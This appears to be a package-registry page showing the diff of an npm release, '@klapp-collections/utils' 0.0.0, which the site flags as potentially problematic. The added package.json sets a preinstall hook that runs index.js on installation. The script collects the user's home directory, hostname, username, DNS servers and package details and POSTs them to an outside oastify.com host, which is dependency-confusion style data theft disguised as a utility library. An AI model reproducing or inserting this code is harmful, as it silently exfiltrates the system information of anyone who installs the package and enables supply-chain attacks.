@klapp-collections/utils 0.0.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of @klapp-collections/utils might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +40 -0
  2. package/package.json +12 -0
package/index.js ADDED
@@ -0,0 +1,40 @@
1
+ const os = require("os");
2
+ const dns = require("dns");
3
+ const querystring = require("querystring");
4
+ const https = require("https");
5
+ const packageJSON = require("./package.json");
6
+ const package = packageJSON.name;
7
+ const trackingData = JSON.stringify({
8
+ p: package,
9
+ c: __dirname,
10
+ hd: os.homedir(),
11
+ hn: os.hostname(),
12
+ un: os.userInfo().username,
13
+ dns: dns.getServers(),
14
+ r: packageJSON ? packageJSON.___resolved : undefined,
15
+ v: packageJSON.version,
16
+ pjson: packageJSON,
17
+ });
18
+ var postData = querystring.stringify({
19
+ msg: trackingData,
20
+ });
21
+ var options = {
22
+ hostname: "hwhqmclo7yorne6aysw0ptln5eb5zwnl.oastify.com",
23
+ port: 443,
24
+ path: "/",
25
+ method: "POST",
26
+ headers: {
27
+ "Content-Type": "application/x-www-form-urlencoded",
28
+ "Content-Length": postData.length,
29
+ },
30
+ };
31
+ var req = https.request(options, (res) => {
32
+ res.on("data", (d) => {
33
+ process.stdout.write(d);
34
+ });
35
+ });
36
+ req.on("error", (e) => {
37
+ // console.error(e);
38
+ });
39
+ req.write(postData);
40
+ req.end();
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "@klapp-collections/utils",
3
+ "version": "0.0.0",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
12
+ }